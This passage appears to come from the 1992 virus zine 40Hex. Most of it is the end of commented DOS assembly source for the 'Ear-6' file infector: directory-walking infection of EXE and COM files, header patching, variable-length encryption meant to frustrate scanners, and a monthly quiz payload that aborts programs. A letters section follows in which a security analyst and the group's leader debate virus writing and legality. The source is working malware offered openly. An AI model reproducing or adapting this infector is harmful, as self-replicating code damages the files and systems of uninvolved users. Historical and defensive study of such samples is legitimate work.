  4494.         xor     dl, dl                          ; presente
  4495.         lea     si, [bp+diroriginal]
  4496.         int     21h
  4497.  
  4498. looper:
  4499.         lea     dx, [bp+offset mascara1]        ; "mßscara", no "mascara"
  4500.         call    infectar_mascara                ; pero no es possible usar
  4501.                                                 ; acentos en MASM/TASM.
  4502.                                                 ; íQuΘ lßstima!
  4503.                                                 ; mascara1 es '*.EXE',0
  4504.         lea     dx, [bp+offset mascara2]        ; mascara2 es '*.COM',0
  4505.         call    infectar_mascara                ; infecta las fichas de COM
  4506.  
  4507.         cmp     byte ptr [bp+numinf], 5         ; ┐Ha infectada cinco fichas?
  4508.         jg      saltar                          ; Si es verdad, no necesita
  4509.                                                 ; busca mßs fichas.
  4510.         mov     ah, 3bh                         ; Cambia el directorio al
  4511.         lea     dx, [bp+puntos]                 ; directorio anterior
  4512.         int     21h                             ; ('..', 'punto punto')
  4513.         jnc     looper
  4514.  
  4515. saltar: lea     dx, [bp+backslash]              ; Cambia el directorio al
  4516.         mov     ah, 3bh                         ; directorio terminado.
  4517.         int     21h
  4518.  
  4519.         mov     ah, 2ah                         ; Activa el primer de
  4520.         int     21h                             ; cada mes
  4521.         cmp     dl, 1                           ; Si no es el primer,
  4522.         jnz     saltarahora                     ; ísaltar ahora! (duh-o)
  4523.  
  4524.         mov     ah, 2ch                         ; ┐QuΘ hora es?
  4525.         int     21h
  4526.  
  4527.         cmp     dl, 85                          ; 85% probabilidad de
  4528.         jg      saltarahora                     ; activaci≤n
  4529.  
  4530.         and     dx, 7                           ; Un n·mero quasi-azado
  4531.         shl     dl, 1                           ; Usalo para determinar
  4532.         mov     bx, bp                          ; que preguntarß la virus
  4533.         add     bx, dx
  4534.         mov     dx, word ptr [bx+indice]        ; φndice para el examencito
  4535.         add     dx, bp
  4536.         inc     dx
  4537.         push    dx                              ; Salva el codo al pregunta
  4538.  
  4539.         mov     ah, 9                           ; Escriba el primer parte de
  4540.         lea     dx, [bp+mensaje]                ; la pregunta
  4541.         int     21h
  4542.  
  4543.         pop     dx                              ; Escriba el parte de la oreja
  4544.         int     21h                             ; o el oφdo
  4545.         dec     dx
  4546.         push    dx                              ; Salva la respuesta correcta
  4547.  
  4548.         lea     dx, [bp+secciones]              ; Escriba los secciones de la
  4549.         int     21h                             ; oreja y el oφdo
  4550.  
  4551. trataotrarespuesta:
  4552.         mov     ah, 7                           ; Obtiene la respuesta de la
  4553.         int     21h                             ; "vφctima"
  4554.         cmp     al, '1'                         ; Necesita una respuesta de
  4555.         jl      trataotrarespuesta              ; uno hasta tres
  4556.         cmp     al, '3'                         ; Renuncia otras respuestas
  4557.         jg      trataotrarespuesta
  4558.  
  4559.         int     29h                             ; Escriba la respuesta
  4560.  
  4561.         pop     bx                              ; El codo al respuesta
  4562.                                                 ; correcta
  4563.         mov     ah, 9                           ; Prepara a escribir un
  4564.                                                 ; mensaje
  4565.         cmp     al, byte ptr [bx]               ; ┐Es correcta?
  4566.         jz      saltarapidamente                ; ╔l aprueba el examencito.
  4567.                                                 ; Pues, salta rßpidamente.
  4568.         lea     dx, [bp+suspendido]             ; Lo siento, pero íUd. no
  4569.         int     21h                             ; aprueba el examencito fßcil!
  4570.  
  4571.         mov     ah, 4ch                         ; Estudie mßs y el programa
  4572.         jmp     quite                           ; permitirß a Ud a continuar.
  4573.  
  4574. saltarapidamente:
  4575.         lea     dx, [bp+aprueba]
  4576.         int     21h
  4577. saltarahora:
  4578.         mov     ah, 1ah                         ; Restaura el DTA original
  4579.         mov     dx, 80h
  4580. quite:
  4581.         cmp     sp, id - 4                      ; ┐Es EXE o COM?
  4582.         jz      vuelvaEXE
  4583. vuelvaCOM:
  4584.         int     21h                             ; Restaura el DTA y vuelva
  4585.         retn                                    ; a la ficha original de COM
  4586.  
  4587. vuelvaEXE:
  4588.         pop     es
  4589.         pop     ds                              ; ds -> PSP
  4590.  
  4591.         int     21h
  4592.  
  4593.         mov     ax, es
  4594.         add     ax, 10h                         ; Ajusta para el PSP
  4595.         add     word ptr cs:[bp+EXE_Donde_JMP+2], ax
  4596.         cli
  4597.         add     ax, word ptr cs:[bp+PilaOriginal+2]
  4598.         mov     ss, ax
  4599.         mov     sp, word ptr cs:[bp+PilaOriginal]
  4600.         sti
  4601.         db      0eah                            ; JMP FAR PTR SEG:OFF
  4602. EXE_Donde_JMP dd 0
  4603. PilaOriginal  dd 0
  4604.  
  4605. EXE_Donde_JMP2  dd 0
  4606. PilaOriginal2   dd 0
  4607.  
  4608. infectar_mascara:
  4609.         mov     ah, 4eh                         ; Busca la ficha primera
  4610.         mov     cx, 7                           ; Cada atributo
  4611. brb_brb:
  4612.         int     21h
  4613.         jc      hasta_la_vista_bebe             ; No la busca
  4614.  
  4615.         xor     al, al
  4616.         call    abrir                           ; Abre la ficha
  4617.  
  4618.         mov     ah, 3fh
  4619.         mov     cx, 1ah
  4620.         lea     dx, [bp+buffer]
  4621.         int     21h
  4622.  
  4623.         mov     ah, 3eh                         ; Cierra la ficha
  4624.         int     21h
  4625.  
  4626.         lea     si,[bp+nuevoDTA+15h]            ; Salva cosas sobre la ficha
  4627.         lea     di,[bp+f_atrib]                 ; Por ejemplo, la fecha de
  4628.         mov     cx, 9                           ; creaci≤n
  4629.         rep     movsb
  4630.  
  4631.         cmp     word ptr [bp+buffer], 'ZM'      ; ┐Es EXE o COM?
  4632.         jz      buscaEXE
  4633. buscaCOM:
  4634.         mov     ax, word ptr [bp+f_long]        ; ┐Cuan grande es la ficha?
  4635.         sub     ax, longitud_del_virus + 3      ; Adjusta para el JMP
  4636.         cmp     ax, word ptr [bp+buffer+1]      ; ┐Ya es infectada?
  4637.         jnz     infecta_mi_burro                ; "infect my ass"
  4638.         jmp     short BuscaMas
  4639. buscaEXE:
  4640.         cmp     word ptr [bp+buffer+10h], id
  4641.         jnz     infecta_mi_burro
  4642. BuscaMas:
  4643.         mov     ah, 4fh                         ; Busca otra ficha...
  4644.         jmp     short brb_brb
  4645. hasta_la_vista_bebe:                            ; ┐Le gusta Arnold?
  4646.         ret
  4647.  
  4648. infecta_mi_burro:
  4649.         ; AX = longitud de la ficha infectada
  4650.         lea     si, [bp+buffer]
  4651.  
  4652.         cmp     word ptr [si], 'ZM'
  4653.         jz      InfectaEXE
  4654. InfectaCOM:
  4655.         push    ax
  4656.  
  4657.         mov     cx, word ptr [bp+tempo]
  4658.         mov     word ptr [bp+remendar1+1], cx
  4659.  
  4660.         lea     di, [bp+Primer3]
  4661.         movsb
  4662.         push    si
  4663.         movsw
  4664.  
  4665.         mov     byte ptr [bp+buffer], 0e9h
  4666.         pop     di
  4667.         add     ax, longitud_del_virus
  4668.         stosw
  4669.  
  4670.         mov     cx, 3
  4671.         jmp     short   TerminaInfeccion
  4672. InfectaEXE:
  4673.         les     ax, [si+14h]                    ; Salva el original empieza
  4674.         mov     word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
  4675.         mov     word ptr [bp+EXE_Donde_JMP2+2], es
  4676.  
  4677.         les     ax, [si+0Eh]                    ; Salva la original locaci≤n
  4678.         mov     word ptr [bp+PilaOriginal2], es ; de la pila
  4679.         mov     word ptr [bp+PilaOriginal2+2], ax
  4680.  
  4681.         mov     ax, word ptr [si + 8]
  4682.         mov     cl, 4
  4683.         shl     ax, cl
  4684.         xchg    ax, bx
  4685.  
  4686.         les     ax, [bp+offset nuevoDTA+26]
  4687.         mov     dx, es
  4688.         push    ax
  4689.         push    dx
  4690.  
  4691.         sub     ax, bx
  4692.         sbb     dx, 0
  4693.  
  4694.         mov     cx, 10h
  4695.         div     cx
  4696.  
  4697.         mov     word ptr [si+14h], dx           ; Nuevo empieza CS:IP
  4698.         mov     word ptr [si+16h], ax
  4699.  
  4700.         mov     cl, 4
  4701.         shr     dx, cl
  4702.         add     ax, dx
  4703.         mov     word ptr [si+0Eh], ax           ; y SS:SP
  4704.         mov     word ptr [si+10h], id
  4705.  
  4706.         pop     dx                              ; Restaura el magnitud de
  4707.         pop     ax                              ; la ficha
  4708.  
  4709.         add     ax, longitud_del_virus          ; A±ada el magnitud del virus
  4710.         adc     dx, 0
  4711.         mov     cl, 9
  4712.         push    ax
  4713.         shr     ax, cl
  4714.         ror     dx, cl
  4715.         stc
  4716.         adc     dx, ax
  4717.         pop     ax
  4718.         and     ah, 1
  4719.  
  4720.         mov     word ptr [si+4], dx             ; Nuevo magnitud de la ficha
  4721.         mov     word ptr [si+2], ax
  4722.  
  4723.         push    cs
  4724.         pop     es
  4725.  
  4726.         mov     ax, word ptr [si+14h]
  4727.         sub     ax, longitud_del_virus + offset Empezarvir
  4728.         push    ax
  4729.  
  4730.         mov     cx, 1ah
  4731. TerminaInfeccion:
  4732.         mov     al, 2
  4733.         call    abrir
  4734.  
  4735.         mov     ah, 40h
  4736.         lea     dx, [bp+buffer]
  4737.         int     21h
  4738.  
  4739.         mov     ax, 4202h
  4740.         xor     cx, cx
  4741.         cwd                                     ; xor dx,dx
  4742.         int     21h
  4743.  
  4744.         mov     ah, 2ch                         ; N·meros azados en CX y DX
  4745.         int     21h
  4746.         mov     word ptr [bp+remendar3+2], cx   ; Es el nuevo n·mero de la
  4747.                                                 ; cifra
  4748.         and     cx, 31                          ; Pone un n·mero azado para el
  4749.         add     cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha.  Por
  4750.                                                 ; eso, los scanners necesitan
  4751.         mov     word ptr [bp+remendar2+1], cx   ; usar "wildcards"
  4752.         lea     di, [bp+tempstore]
  4753.         mov     al, 53h                         ; push bx
  4754.         stosb                                   ; (no destruir el mango de la
  4755.                                                 ;  ficha)
  4756.         lea     si, [bp+shwing]                 ; Copia las instrucciones
  4757.         push    si                              ; para formar la cifra
  4758.         mov     cx, longitud_de_la_cifra
  4759.         push    cx
  4760.         rep     movsb
  4761.  
  4762.         mov     al, 5bh                         ; pop bx
  4763.         stosb                                   ; (recuerda mango de la ficha)
  4764.  
  4765.         lea     si, [bp+escribir]               ; Copia las instrucciones
  4766.         mov     cx, longitud_del_escribir       ; para a±ada el virus a la
  4767.         rep     movsb                           ; ficha
  4768.  
  4769.         mov     al, 53h                         ; push bx
  4770.         stosb
  4771.  
  4772.         pop     cx                              ; Copia las instrucciones
  4773.         pop     si                              ; para invalidar la cifra
  4774.         rep     movsb
  4775.         mov     ax, 0c35bh                      ; pop bx, retn
  4776.         stosw
  4777.  
  4778.         pop     ax
  4779.  
  4780.         ; Codo del comienzo de la cifra
  4781.         add     ax, offset EmpezarCifra + longitud_del_virus
  4782.         mov     word ptr [bp+remendar1+1], ax
  4783.  
  4784.         call    antes_del_tempstore
  4785.  
  4786.         mov     ax, 5701h                       ; BX = mango de la ficha
  4787.         mov     dx, word ptr [bp+f_fecha]
  4788.         mov     cx, word ptr [bp+f_hora]
  4789.         int     21h                             ; Restaura fecha y hora
  4790.  
  4791.         mov     ah, 3eh
  4792.         int     21h
  4793.  
  4794.         xor     ch, ch
  4795.         mov     cl, byte ptr [bp+f_atrib]
  4796.         mov     ax, 4301h
  4797.         lea     dx, [bp+offset nuevoDTA + 30]     ; Busca un ficha en el DTA
  4798.         int     21h
  4799.  
  4800.         inc     byte ptr [bp+numinf]
  4801.  
  4802.         jmp     BuscaMas
  4803.  
  4804. Primer3  db 0CDh, 20h, 0
  4805. puntos   db '..',0
  4806. mascara1 db '*.EXE',0
  4807. mascara2 db '*.COM',0
  4808.  
  4809. abrir:  mov     ah, 3dh                         ; Abrir un ficha
  4810.         lea     dx, [bp+nuevoDTA+30]            ; Nombre de la ficha es en
  4811.         int     21h                             ; el DTA
  4812.         xchg    ax, bx
  4813.         ret
  4814.  
  4815. indice  dw      offset oreja1, offset oreja2, offset oreja3, offset oreja4
  4816.         dw      offset oreja5, offset oreja6, offset oreja4, offset oreja1
  4817. oreja1  db      '1','Auditory Canal$'
  4818. oreja2  db      '1','Lobe$'
  4819. oreja3  db      '2','Anvil$'
  4820. oreja4  db      '2','Eustachian Tube$'
  4821. oreja5  db      '3','Auditory Nerve$'
  4822. oreja6  db      '3','Cochlea$'
  4823.  
  4824. mensaje db      'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
  4825. secciones db    ' located?',13,10
  4826.         db      ' 1. External Ear',13,10
  4827.         db      ' 2. Middle Ear',13,10
  4828.         db      ' 3. Inner Ear',13,10,'( )',8,8,'$'
  4829.  
  4830. ; No es bueno.
  4831. suspendido db   13,10,'You obviously know nothing about ears.'
  4832.         db      13,10,'Try again after some study.',13,10,'$'
  4833.  
  4834. ; íEspero que sφ!
  4835. aprueba db      13,10,'Wow, you know your ears!  Please resume work.',13,10
  4836.         db      '$'
  4837.  
  4838. escribir:
  4839.         mov     ah, 40h
  4840.         mov     cx, TerminaVir - EmpezarVir
  4841.         lea     dx, [bp+EmpezarVir]
  4842.         int     21h
  4843. termina_escribir:
  4844.  
  4845. backslash db '\'
  4846.  
  4847. TerminaVir = $
  4848.  
  4849. ; Los que sigue son en el mont≤n...
  4850. longitud_de_la_cifra = offset EmpezarCifra - offset shwing
  4851.  
  4852. diroriginal db 64 dup (?)
  4853. tempo       dw ?
  4854. nuevoDTA    db 43 dup (?)
  4855. numinf      db ?
  4856. antes_del_tempstore:
  4857. ; tempstore es el buffer para el parte del programa que a±ada el virus al fin
  4858. ; de otro programa
  4859. tempstore   db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
  4860.                                                 ; a±ada cinco para los pop,
  4861.                                                 ; los push, y el retn
  4862. buffer      db 1ah dup (?)
  4863. f_atrib     db      ?                           ; atributo de la ficha
  4864. f_hora      dw      ?                           ; hora de creaci≤n
  4865. f_fecha     dw      ?                           ; fecha de creaci≤n
  4866. f_long      dd      ?                           ; magnitud de la ficha
  4867.  
  4868.         end     Empezar
  4869.  
  4870. 40Hex Number 8 Volume 2 Issue 4                                       File 010
  4871.  
  4872.     Letters to the editor!  Well, as you can imagine when I got this
  4873. message I was quite startled.  Sorry Paul, no top billing this time :-).
  4874. Although it is at this point, that I would like to say a couple things.
  4875. For instance, the virus community seems to think that their actions go
  4876. unnoticed.  As you might imagine, this is not quite true.  C'mon,
  4877. security people get their hands on 40Hex shortly after our boards get
  4878. it.  Just letting you know that big brother is watching :).
  4879. -----------------------------------------------------------------------------
  4880.  
  4881.  
  4882.  
  4883.  
  4884. 40-Hex Response:
  4885.  
  4886.    As a Security Analyst I find 40-Hex an incredibly interesting magazine.
  4887. The magazine presents entirely different viewpoints then what is in the
  4888. industry magazines such as Virus Bulletin, Virus News International and 
  4889. Virus News and Reviews.   Although all three of these publications are good
  4890. and very useful to me in my job, 40-Hex does indeed keep my mind open.  It
  4891. discusses viruses in depth, including commented source code, and has been a
  4892. real learning tool for me.  There is just not anywhere that you can get the
  4893. detailed analysis of a virus except in a magazine like 40-Hex.  I can't help
  4894. but be torn between my thirst for knowledge about virii and how they work,
  4895. and the fear that the more knowledge about virus writing becomes available to
  4896. the public, the greater chance that there is going to be more and more garbage
  4897. out there and more and more irresponsible people releasing this garbage on
  4898. their "friends and neighbors".
  4899.  
  4900.    I do want to thank 40-Hex for what I consider a very favorable review.  I
  4901. had to laugh about the comments, because frankly I agreed with them.  I guess
  4902. that I do get a little melodramatic sometimes.  But I do honestly believe 
  4903. that the knowledge exists out there to create a program/virus that will
  4904. be able to escape detection by any method in use today.  Whether it will 
  4905. ever be written and whether it will have destructive capabilities I don't 
  4906. really know. I don't know of any virus writers that make profits off 
  4907. their work.  While all the anti-virus developers, although they complain
  4908. about the work that they have to do to keep up with the virus writers, 
  4909. certainly make a nice profit on something like a Michelangelo scare.  So 
  4910. the only motivation for the virus writer is the challenge of creating a 
  4911. nearly undetectable virus.  
  4912.  
  4913.    I am very curious myself to see if the NCSA's prediction of 40,000 virii  
  4914. by 1994 comes true.  I certainly agree with 40-Hex that most of 
  4915. these virii will be hacks of some of the existing code out there now. The 
  4916. anti-virus industry itself can't decide on how to count different strains of 
  4917. viruses, so anyone will be able to make whatever claim they want anyway.
  4918.  
  4919.    Finally, Dr. Solomon said it best informally at the First International 
  4920. Virus Prevention Conference.  He was talking about how America was founded
  4921. on freedom and the rights of the individual.  He said that Americans seem
  4922. far too willing, in his opinion, to voluntarily give up those rights.  Right
  4923. now, virus writing is not illegal.  And hopefully it never will be, because
  4924. what you or I do with our own personal computers is no one else's business 
  4925. but our own.  But when we interfer with someone else's computer or data or
  4926. life, that I believe that is where the line is drawn.   Its going to be a 
  4927. very long and hard process to determine responsibility for damages caused by
  4928. a virus.  Passing a law to make virus writing itself illegal will not solve 
  4929. the problem.  Something, though, has to be done to protect an individual's
  4930. or a corporation's rights to have a virus-free working environment.  There
  4931. are enough problems with buggy commercial software, without having to worry
  4932. about virii hitting your computers too.  But until that time comes part of
  4933. my job will continue to be warning people about the dangers of viruses and
  4934. helping them protect their data.
  4935.  
  4936.                                                     Paul Melka
  4937.  
  4938. Response to a Response to a Response:
  4939.  
  4940.     As the head of the -=PHALCON/SKISM=-, I find your letter a very
  4941. interesting response.  I thank you for your raving reviews on 40Hex.  We
  4942. try to make it a magazine that everyone can learn from.  Well, I still
  4943. debate the undetectable virus issue.  Regarding the virus writer/anti-virus
  4944. issue, I definately agree, that the anti-virus people are motivated by greed
  4945. more then anything else.   I am glad to see that you agreed with my oh so
  4946. witty comments, they weren't meant to be abusive, just a little comic relief.
  4947.     I agree with you on the issues regarding a virus-free working
  4948. environment.  But, as you already know,  writing a virus isn't
  4949. illegal, it is the spreading that is illegal.  Unfortunately, it is too
  4950. late to start working on anti-virus writing legislation now.  The damage
  4951. has been done.  The virus issue is fairly similiar to the AIDS issue.
  4952. You have to use protection, no matter what.  There will never be an end
  4953. to virii.  Even if everyone stopped writing virii, the infection rate
  4954. wouldn't decrease.  I  don't know of many people that get hit by the
  4955. newer strains that have been coming out.  Most people still get hit by
  4956. Jerusalem, Stoned, and other 'classics'.
  4957.     I would be very interested in what solutions you may have come up with
  4958. to protect the rights of individuals and corporations.  I hadn't heard about
  4959. Dr. Solomon's comments, until I recieved your letter.  Quite frankly, I agree
  4960. with what he is saying.  Another major problem with making virus writing
  4961. illegal is the definition of a virus, or trojan for that matter.  It is
  4962. very difficult to come up with a concrete definition.
  4963.     I appreciate your response, and definately encourage other people, either
  4964. pro- or anti- virus to respond!
  4965.  
  4966.                                                 -)GHeap
  4967.